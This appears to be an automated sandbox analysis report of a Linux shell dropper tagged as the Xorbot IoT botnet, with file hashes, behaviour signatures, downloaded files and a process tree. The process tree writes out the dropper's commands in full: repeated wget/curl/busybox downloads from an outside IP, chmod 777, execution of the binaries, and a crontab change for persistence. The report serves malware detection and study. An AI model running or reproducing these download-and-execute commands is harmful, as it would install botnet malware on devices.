Analysis

  • max time kernel
    149s
  • max time network
    160s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    30-11-2024 09:15

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    1eec8b924791416fd0d003d6fe8c75b1

  • SHA1

    28d94b5fd6256a58a2706a2cafa995c79134f8b7

  • SHA256

    eb54a15ecef183f0ba46588f13c75df0239a926cf1da6b250d1d66978e53e5d9

  • SHA512

    29aefaae8864ccc9f62ed56590ee88389667cfd2d3e7f66e4b95e7ae96f7ac17636e5c82eec1ab51a3f3c889f2da670a3a3e141d76600ca8dc29f214f7744827

  • SSDEEP

    192:b6JCklhxUMcZQlK28aqCaDnRqCaDnllhxUM+JCjK2A:bClhxUMcZQlK28aqCaDnRqCaDnllhxUL

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1813) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:655
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:661
        • /usr/bin/wget
          wget http://216.126.231.240/bins/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
          2⤵
          • Writes file to tmp directory
          PID:663
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:678
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
          2⤵
          • Writes file to tmp directory
          PID:688
        • /bin/chmod
          chmod 777 RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
          2⤵
          • File and Directory Permissions Modification
          PID:689
        • /tmp/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
          ./RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
          2⤵
          • Executes dropped EXE
          PID:690
        • /bin/rm
          rm RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx
          2⤵
            PID:692
          • /usr/bin/wget
            wget http://216.126.231.240/bins/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
            2⤵
            • Writes file to tmp directory
            PID:693
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:698
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
            2⤵
            • Writes file to tmp directory
            PID:706
          • /bin/chmod
            chmod 777 mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
            2⤵
            • File and Directory Permissions Modification
            PID:710
          • /tmp/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
            ./mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
            2⤵
            • Executes dropped EXE
            PID:711
          • /bin/rm
            rm mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY
            2⤵
              PID:714
            • /usr/bin/wget
              wget http://216.126.231.240/bins/P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:715
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:729
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:741
            • /bin/chmod
              chmod 777 P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
              2⤵
              • File and Directory Permissions Modification
              PID:745
            • /tmp/P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
              ./P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
              2⤵
              • Executes dropped EXE
              • System Network Configuration Discovery
              PID:747
            • /bin/rm
              rm P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN
              2⤵
              • System Network Configuration Discovery
              PID:749
            • /usr/bin/wget
              wget http://216.126.231.240/bins/OdROGCQbi53yDC6dq36FOhSauGFuscmJr4
              2⤵
              • Writes file to tmp directory
              PID:750
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/OdROGCQbi53yDC6dq36FOhSauGFuscmJr4
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:753
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/OdROGCQbi53yDC6dq36FOhSauGFuscmJr4
              2⤵
              • Writes file to tmp directory
              PID:754
            • /bin/chmod
              chmod 777 OdROGCQbi53yDC6dq36FOhSauGFuscmJr4
              2⤵
              • File and Directory Permissions Modification
              PID:755
            • /tmp/OdROGCQbi53yDC6dq36FOhSauGFuscmJr4
              ./OdROGCQbi53yDC6dq36FOhSauGFuscmJr4
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:758
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:762
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:763
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:764
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:766
                  • /bin/rm
                    rm OdROGCQbi53yDC6dq36FOhSauGFuscmJr4
                    2⤵
                      PID:771
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/1Yv8ol15LwA3hG8nNCEBmlfD6OGfk4SuOp
                      2⤵
                        PID:774
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/1Yv8ol15LwA3hG8nNCEBmlfD6OGfk4SuOp
                        2⤵
                          PID:775
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/1Yv8ol15LwA3hG8nNCEBmlfD6OGfk4SuOp
                          2⤵
                          • Writes file to tmp directory
                          PID:858
                        • /bin/chmod
                          chmod 777 1Yv8ol15LwA3hG8nNCEBmlfD6OGfk4SuOp
                          2⤵
                          • File and Directory Permissions Modification
                          PID:862
                        • /tmp/1Yv8ol15LwA3hG8nNCEBmlfD6OGfk4SuOp
                          ./1Yv8ol15LwA3hG8nNCEBmlfD6OGfk4SuOp
                          2⤵
                          • Executes dropped EXE
                          PID:863
                        • /bin/rm
                          rm 1Yv8ol15LwA3hG8nNCEBmlfD6OGfk4SuOp
                          2⤵
                            PID:866
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/MteRzdORf60ySfowYzBoKbLy1nzETpEdiY
                            2⤵
                              PID:868
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/MteRzdORf60ySfowYzBoKbLy1nzETpEdiY
                              2⤵
                                PID:869
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/MteRzdORf60ySfowYzBoKbLy1nzETpEdiY
                                2⤵
                                • Writes file to tmp directory
                                PID:871
                              • /bin/chmod
                                chmod 777 MteRzdORf60ySfowYzBoKbLy1nzETpEdiY
                                2⤵
                                • File and Directory Permissions Modification
                                PID:875
                              • /tmp/MteRzdORf60ySfowYzBoKbLy1nzETpEdiY
                                ./MteRzdORf60ySfowYzBoKbLy1nzETpEdiY
                                2⤵
                                • Executes dropped EXE
                                PID:877
                              • /bin/rm
                                rm MteRzdORf60ySfowYzBoKbLy1nzETpEdiY
                                2⤵
                                  PID:879
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/aH3cIrRG1CTWqzP8Odv36DBlQNOUVMYVQF
                                  2⤵
                                    PID:880
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/aH3cIrRG1CTWqzP8Odv36DBlQNOUVMYVQF
                                    2⤵
                                      PID:886
                                    • /bin/busybox
                                      /bin/busybox wget http://216.126.231.240/bins/aH3cIrRG1CTWqzP8Odv36DBlQNOUVMYVQF
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:896
                                    • /bin/chmod
                                      chmod 777 aH3cIrRG1CTWqzP8Odv36DBlQNOUVMYVQF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:900
                                    • /tmp/aH3cIrRG1CTWqzP8Odv36DBlQNOUVMYVQF
                                      ./aH3cIrRG1CTWqzP8Odv36DBlQNOUVMYVQF
                                      2⤵
                                      • Executes dropped EXE
                                      PID:901
                                    • /bin/rm
                                      rm aH3cIrRG1CTWqzP8Odv36DBlQNOUVMYVQF
                                      2⤵
                                        PID:903
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/tdpFpQvKU4DfkyZEkRBUjwp1gjC4KKeYQ6
                                        2⤵
                                          PID:904
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/tdpFpQvKU4DfkyZEkRBUjwp1gjC4KKeYQ6
                                          2⤵
                                            PID:907

                                        Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • /tmp/1Yv8ol15LwA3hG8nNCEBmlfD6OGfk4SuOp

                                          Filesize

                                          111KB

                                          MD5

                                          701e7a55a4f3650f5feee92a9860e5fc

                                          SHA1

                                          6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                          SHA256

                                          ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                          SHA512

                                          7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                        • /tmp/MteRzdORf60ySfowYzBoKbLy1nzETpEdiY

                                          Filesize

                                          117KB

                                          MD5

                                          849fa04ef88a8e8de32cb2e8538de5fe

                                          SHA1

                                          c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                          SHA256

                                          8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                          SHA512

                                          2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                        • /tmp/OdROGCQbi53yDC6dq36FOhSauGFuscmJr4

                                          Filesize

                                          119KB

                                          MD5

                                          1b166b95f9cb4b079ef1b9ec8363ddf3

                                          SHA1

                                          0d8eb08add467b3b5474f9b25909297fe7c2839c

                                          SHA256

                                          94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                          SHA512

                                          983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                        • /tmp/P0XCcMXQhnhnmU7osyv1aQ3OvoPGPIPHDN

                                          Filesize

                                          151KB

                                          MD5

                                          3c90d5820bddcf7c5d1bd21dfa49d958

                                          SHA1

                                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                          SHA256

                                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                          SHA512

                                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                        • /tmp/RjqkCRKhj0ocX2Sn7jjHduY3s6tI5EOGHx

                                          Filesize

                                          122KB

                                          MD5

                                          cd3d4b9c643e5b473fb4d88ed05f0716

                                          SHA1

                                          64ee7a97418583d759eaea8000890cc3bae1b5f4

                                          SHA256

                                          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                          SHA512

                                          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                        • /tmp/aH3cIrRG1CTWqzP8Odv36DBlQNOUVMYVQF

                                          Filesize

                                          99KB

                                          MD5

                                          9438d9bc392bcf300a5583b6df5bc8f6

                                          SHA1

                                          375a6ae34b516f6f3eeea8030c4084f585017efa

                                          SHA256

                                          68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                          SHA512

                                          1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                        • /tmp/mB68YaaCtas03ROgF32ObLDlDJ3b7jatnY

                                          Filesize

                                          98KB

                                          MD5

                                          5141342d0df8699fa32a6b066a0c592e

                                          SHA1

                                          8157673225bd5182f16215e2aa823a25ca2d4fbc

                                          SHA256

                                          54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                          SHA512

                                          d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                        • /var/spool/cron/crontabs/tmp.lBwIKM

                                          Filesize

                                          210B

                                          MD5

                                          1e0275eb29c3b0676b9441727070ab8e

                                          SHA1

                                          160302c7db8cbc5baed4d2c20e4aeb4372f9fe89

                                          SHA256

                                          fb7e67b4211eacc748cdd0fa9b3226ac5b78e410b0859680e53c8b63ee6a2289

                                          SHA512

                                          9a9fbed089f711ad87c7005f7efbbb068eb559266d68770f2338fe11f813eccbd60310f896cdaf71955f698bb05180aec15cc4be5b908b307a081acfaa2f0d7c